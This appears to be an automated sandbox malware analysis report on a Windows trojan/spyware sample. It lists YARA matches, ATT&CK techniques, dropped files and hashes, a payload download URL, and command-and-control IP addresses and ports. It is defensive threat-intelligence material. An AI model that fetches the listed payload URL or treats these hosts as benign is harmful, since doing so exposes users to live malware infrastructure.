Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.35.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.31.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.29.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.21.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.24.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2ef05bf.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.27.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2c51004.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.33.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.27.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.454380b.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.34.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.8fe043.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe10a3.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.92fcab.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.92fcab.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.454380b.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.3070000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.36.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.30.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.44e05eb.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2572510543.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3807432806.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107343124.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3504281885.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2572570751.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2916173628.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3847762945.000000000092F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2231349112.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3992441735.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134424377.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3282299406.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107580457.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3847713177.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2956428544.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2729342507.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2956631944.0000000003FE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3635220624.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4135196957.00000000044E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134301268.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3807432806.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2394511408.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2092467129.00000000008FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462916069.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2916173628.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3787990039.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462635907.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2394414538.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2107248320.0000000004221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2231413227.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134547256.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4135092176.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3148323285.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2729432226.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462916069.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107145495.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107580457.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: leBwnyHIgx.exe PID: 180, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 Access Token Manipulation	21 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	223 Process Injection	1 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	223 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Indicator Removal	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
leBwnyHIgx.exe	29%	Virustotal		Browse
leBwnyHIgx.exe	24%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe	4%	ReversingLabs
C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	24%	ReversingLabs
C:\Users\user\Downloads\wpsv.5.6.3.exe	4%	ReversingLabs

Source	Detection	Scanner	Label
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exe	0%	Avira URL Cloud	safe
http://crl.m76u8s	0%	Avira URL Cloud	safe
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exex	0%	Avira URL Cloud	safe
http://crl.microsof	0%	Avira URL Cloud	safe
154.82.85.107:15092	0%	Avira URL Cloud	safe
http://schemas.microsoft.co	0%	Avira URL Cloud	safe
https://xrpy.oss-ap-southeast-1.aliyuncs.com/	0%	Avira URL Cloud	safe
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exec	0%	Avira URL Cloud	safe
154.82.85.107:15091	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xrpy.oss-ap-southeast-1.aliyuncs.com	47.79.48.230	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
154.82.85.107:15091	true	Avira URL Cloud: safe	unknown
154.82.85.107:15092	true	Avira URL Cloud: safe	unknown
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1706524566.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1762406995.0000000005F28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1795405452.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://code.visualstudio.com/0	leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1704205290.0000000004D16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000005016000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000054C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004E55000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1780310479.00000000028CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1704205290.0000000005311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.000000000581D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000055F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004FA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exex	leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mi	powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.m76u8s	leBwnyHIgx.exe, 00000000.00000002.2078649644.0000000003906000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000003.00000002.1703418182.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2029415416.000000000701B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsof	powershell.exe, 00000014.00000002.1996269596.0000000002971000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1704205290.0000000004D16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000005016000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000054C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004E55000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1706524566.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1762406995.0000000005F28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1795405452.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xrpy.oss-ap-southeast-1.aliyuncs.com/	leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	false		high
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exeX	leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1704205290.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000004EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.microsoft.co	powershell.exe, 00000013.00000002.2028829277.0000000006FDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBtq	powershell.exe, 00000003.00000002.1704205290.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000004EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exec	leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.79.48.230	xrpy.oss-ap-southeast-1.aliyuncs.com	United States		9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
154.82.85.107	unknown	Seychelles		32708	ROOTNETWORKSUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585743
Start date and time:	2025-01-08 07:14:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	leBwnyHIgx.exe renamed because original name is a hash value
Original Sample Name:	51434b554c4e3b123e0a90db3048ec6d5edaed4cdb245c8f9e3dbddb378f2845.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/27@1/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 92% Number of executed functions: 210 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2032 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5444 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6100 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6616 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:14:59	API Interceptor	51x Sleep call for process: powershell.exe modified
01:15:29	API Interceptor	3197138x Sleep call for process: leBwnyHIgx.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	miori.arm5.elf	Get hash	malicious	Unknown	Browse	47.78.226.190
	miori.spc.elf	Get hash	malicious	Unknown	Browse	118.95.51.101
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	121.74.70.74
	armv4l.elf	Get hash	malicious	Unknown	Browse	118.95.125.90
	HGwpjJUqhW.exe	Get hash	malicious	GhostRat	Browse	47.79.48.211
	1731043030539.exe	Get hash	malicious	ReflectiveLoader	Browse	47.76.199.218
	armv7l.elf	Get hash	malicious	Unknown	Browse	47.78.236.90
	botx.mips.elf	Get hash	malicious	Mirai	Browse	49.226.28.57
	zhuzhu.exe	Get hash	malicious	GhostRat, XRed	Browse	47.79.48.211
	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	47.79.48.211
ROOTNETWORKSUS	6f0slJzOrF.exe	Get hash	malicious	GhostRat	Browse	154.82.85.79
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	156.236.225.1
	Installer eSPT Masa PPh versi 2.0#U007e26022009.exe	Get hash	malicious	BlackMoon	Browse	154.82.113.139
	Installer eSPT Masa PPh versi 2.0#U007e26022009.exe	Get hash	malicious	BlackMoon	Browse	154.82.113.139
	MicrosoftEdgeUpdateSetup.exe	Get hash	malicious	Unknown	Browse	154.82.68.34
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	154.94.148.181
	x86.elf	Get hash	malicious	Unknown	Browse	154.82.151.143
	bot.x86.elf	Get hash	malicious	Mirai	Browse	38.145.246.125
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.236.225.1
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	154.94.130.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	c2.hta	Get hash	malicious	Remcos	Browse	47.79.48.230
	c2.hta	Get hash	malicious	Remcos	Browse	47.79.48.230
	setup.msi	Get hash	malicious	Unknown	Browse	47.79.48.230
	1.exe	Get hash	malicious	LummaC, XRed	Browse	47.79.48.230
	9876567899.bat.exe	Get hash	malicious	Lokibot	Browse	47.79.48.230
	23567791246-764698008.02.exe	Get hash	malicious	Unknown	Browse	47.79.48.230
	c2.hta	Get hash	malicious	Remcos	Browse	47.79.48.230
	H565rymIuO.doc	Get hash	malicious	Unknown	Browse	47.79.48.230
	287438657364-7643738421.08.exe	Get hash	malicious	Nitol	Browse	47.79.48.230

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Downloads\wpsv.5.6.3.exe	WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse
	fNlAH8RgLk.exe	Get hash	malicious	Unknown	Browse
	fNlAH8RgLk.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe	WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse
	fNlAH8RgLk.exe	Get hash	malicious	Unknown	Browse
	fNlAH8RgLk.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	3027728
Entropy (8bit):	7.856503406318228
Encrypted:	false
SSDEEP:	49152:sejRVM654Suz/Debm7vpElDBc4uN+C+LHseGi1pm2PfLwUA0EUEiXDSWqf16yag5:sejRVMDhe6yH1ugfHseGKtPDw50E1iTe
MD5:	B52BA2B99108C496389AE5BB81FA6537
SHA1:	9073D8C4A1968BE24357862015519F2AFECD833A
SHA-256:	C6AC7D9ADD40B913112B265D4F366D9EF80BBD711049DB085FC750FCAD4E14D8
SHA-512:	6637506EE80D359E729E0011B97E8D827E14356393193247F502B7FCFBBCA249DC045B8ACFE4B31CE462468F421DC5D9A4E31183BEDB66C45A9AA43C01F81397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi, Detection: malicious, Browse Filename: fNlAH8RgLk.exe, Detection: malicious, Browse Filename: fNlAH8RgLk.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......q...5...5...5...n.......n........a/.<......&....../...n...4...n...4..........n.......n...6...5... ...........5...V...............4...5...7.......4...Rich5...........PE..L.....dc.........................,..ZW...,..`W...@..........................0Z......s....@.................................T-Z......`W.T.............-..H....Z..............................\W......\W.....................$PD.@...................UPX0......,.............................UPX1.........,....................@....rsrc........`W....................@......................................................................................................................................................................................................................................................................................................................................3.08.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul3kXth:NllUU9
MD5:	019176F36446FB707E6BC4E6B2DC1872
SHA1:	BD4BC5E64D663A8CABB7B85DE200150A6EF161CE
SHA-256:	710409E2A9EFBB4094ACF266005C16DA382F7F8DCB135766A558419E23AD142F
SHA-512:	6673E319305C9BED1DBA99B8EBACBC148D75100811FB12E2D4C3D2865856D128B0AF8AAFEC5E0F6F258042E7D2EF9519D668D17E87F25318011D7FB0C4355A98
Malicious:	false
Preview:	@...e.................................f..............@..........

C:\Users\user\AppData\Local\PolicyManagement.xml

Download File

Process:	C:\Users\user\AppData\Roaming\leBwnyHIgx.exe
File Type:	XML 1.0 document, ASCII text
